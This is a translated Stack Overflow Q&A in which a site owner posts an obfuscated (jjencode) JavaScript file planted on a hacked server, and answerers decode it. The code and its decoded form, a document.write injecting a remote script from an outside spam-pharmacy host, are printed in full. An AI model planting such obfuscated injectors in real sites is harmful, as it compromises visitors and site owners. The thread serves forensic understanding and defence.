我发现我的一个网站被黑客入侵了,经过调查,我看了上传的一个javasript文件,我不敢相信由于这种疯狂的混淆,它真的起到了作用。
我对它非常感兴趣,我甚至需要知道它是如何工作的。如果有人能提供任何信息,我们将不胜感激!此外,这将帮助我找出其他隐藏的黑客文件在我的服务器上!
内容如下:
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+".\\"+$.__$+$.$$_+$.$$$+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+$.__+$.$$$_+"(\\\"<\\"+$.__$+$.$$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\"+$.$__+$.___+"\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$$_+$._$_+$.$$__+"=\\\\\\\"\\"+$.__$+$.$_$+$.___+$.__+$.__+"\\"+$.__$+$.$$_+$.___+"://"+$.$$_$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$$_+$._$$+"-\\"+$.__$+$.$$_+$._$$+$.$$$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$$_+$.$$_+$.$$$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.___+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"."+$.$$__+$._$+"\\"+$.__$+$.$_$+$.$_$+"/\\"+$.__$+$.$$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\"+$.__$+$.$$_+$._$$+"/"+$.__+"\\"+$.__$+$.$$_+$._$_+$.$_$_+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+$.$$_$+$._$+(![]+"")[$._$_]+"/\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$_$+$.__$+$.$$_$+$.$$$_+$.$_$$+$.$_$_+"\\"+$.__$+$.$$_+$._$_+".\\"+$.__$+$.$_$+$._$_+"\\"+$.__$+$.$$_+$._$$+"\\\\\\\"></\\"+$.__$+$.$$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+">\\\");"+"\"")())();发布于 2013-12-12 12:47:30
首先,添加一些空格:
$ = ~ [];
$ = {
___: ++$,
$$$$: (![] + "")[$],
__$: ++$,
$_$_: (![] + "")[$],
_$_: ++$,
$_$$: ({} + "")[$],
$$_$: ($[$] + "")[$],
_$$: ++$,
$$$_: (!"" + "")[$],
$__: ++$,
$_$: ++$,
$$__: ({} + "")[$],
$$_: ++$,
$$$: ++$,
$___: ++$,
$__$: ++$
};
$.$_ = ($.$_ = $ + "")[$.$_$]
+ ($._$ = $.$_[$.__$])
+ ($.$$ = ($.$ + "")[$.__$])
+ ((!$) + "")[$._$$]
+ ($.__ = $.$_[$.$$_])
+ ($.$ = (!"" + "")[$.__$])
+ ($._ = (!"" + "")[$._$_])
+ $.$_[$.$_$]
+ $.__
+ $._$
+ $.$;
$.$$ = $.$
+ (!"" + "")[$._$$]
+ $.__
+ $._
+ $.$
+ $.$$;
$.$ = ($.___)[$.$_][$.$_];
$.$($.$(
$.$$
+ "\"" + $.$$_$ + $._$ + $.$$__ + $._
+ "\\" + $.__$ + $.$_$ + $.$_$ + $.$$$_
+ "\\" + $.__$ + $.$_$ + $.$$_ + $.__
+ ".\\" + $.__$ + $.$$_ + $.$$$
+ "\\" + $.__$ + $.$$_ + $._$_
+ "\\" + $.__$ + $.$_$ + $.__$ + $.__ + $.$$$_
+ "(\\\"<\\" + $.__$ + $.$$_ + $._$$ + $.$$__
+ "\\" + $.__$ + $.$$_ + $._$_
+ "\\" + $.__$ + $.$_$ + $.__$
+ "\\" + $.__$ + $.$$_ + $.___ + $.__
+ "\\" + $.$__ + $.___
+ "\\" + $.__$ + $.$$_ + $._$$
+ "\\" + $.__$ + $.$$_ + $._$_ + $.$$__
+ "=\\\\\\\"\\" + $.__$ + $.$_$ + $.___ + $.__ + $.__
+ "\\" + $.__$ + $.$$_ + $.___ + "://" + $.$$_$
+ "\\" + $.__$ + $.$_$ + $.$$_
+ "\\" + $.__$ + $.$$_ + $._$$
+ "-\\" + $.__$ + $.$$_ + $._$$ + $.$$$_
+ "\\" + $.__$ + $.$$_ + $._$_
+ "\\" + $.__$ + $.$$_ + $.$$_ + $.$$$_
+ "\\" + $.__$ + $.$$_ + $._$_
+ "\\" + $.__$ + $.$_$ + $.___ + $._$
+ "\\" + $.__$ + $.$_$ + $.$_$ + $.$$$_ + "." + $.$$__ + $._$
+ "\\" + $.__$ + $.$_$ + $.$_$
+ "/\\" + $.__$ + $.$$_ + $._$$ + $.$$__
+ "\\" + $.__$ + $.$$_ + $._$_
+ "\\" + $.__$ + $.$_$ + $.__$
+ "\\" + $.__$ + $.$$_ + $.___ + $.__
+ "\\" + $.__$ + $.$$_ + $._$$
+ "/" + $.__
+ "\\" + $.__$ + $.$$_ + $._$_ + $.$_$_
+ "\\" + $.__$ + $.$_$ + $.$_$ + $.$_$_ + $.$$_$ + $._$ + (![] + "")[$._$_]
+ "/\\" + $.__$ + $.$$_ + $._$$ + "\\" + $.__$ + $.$_$ + $.__$ + $.$$_$ + $.$$$_ + $.$_$$ + $.$_$_
+ "\\" + $.__$ + $.$$_ + $._$_ + ".\\" + $.__$ + $.$_$ + $._$_
+ "\\" + $.__$ + $.$$_ + $._$$
+ "\\\\\\\"></\\"
+ $.__$ + $.$$_ + $._$$ + $.$$__
+ "\\" + $.__$ + $.$$_ + $._$_
+ "\\" + $.__$ + $.$_$ + $.__$
+ "\\" + $.__$ + $.$$_ + $.___ + $.__
+ ">\\\");"
+ "\""
)())();1.除了最后一条语句之外的所有内容都是创建对象$,它的值主要是数字和字符串,比如"f"、8和"return"。
然而,特别重要的是$.$,它就是Function。调用Function(s)会创建一个主体为s的函数。
例如,Function('return 1;')返回function() { return 1; }。
从本质上讲,Function(s)() (或者在本例中为$.$(s)())等同于eval(s)。
2.最后一条语句中的所有字符串连接都创建一个字符串。
return"docu\155e\156t.\167\162\151te(\"<\163c\162\151\160t\40\163\162c=\\\"\150tt\160://d\156\163-\163e\162\166e\162\150o\155e.co\155/\163c\162\151\160t\163/t\162a\155adol/\163\151deba\162.\152\163\\\"></\163c\162\151\160t>\");\"3.使用$.$求值时以字符串形式返回的
document.write("<script src=\"http://dns-serverhome.com/scripts/tramadol/sidebar.js\"></script>");4.对此结果再次调用$.$即可完成攻击。
通过不使用eval、Function、function或任何像<这样的超文本标记语言实体,这段代码显然是想看起来尽可能无害。
对Function的双重调用表明IMO不是必需的,但我认为它进一步混淆了代码。
现在,关于你的最后一个问题,你打算运行第三方Javascript吗?如果是这样的话,我所知道的唯一健壮的框架就是Google Caja。
EDIT:这似乎是jjencode for的结果
document.write("<script src=\"http://dns-serverhome.com/scripts/tramadol/sidebar.js\"></script>");jjencode甚至可以选择返回回文混淆。
发布于 2013-12-12 12:36:13
我在控制台中运行了它-它似乎用试图出售毒品的垃圾链接取代了网站的HTML -“通用伟哥108美元”等。

https://stackoverflow.com/questions/20535068
复制相似问题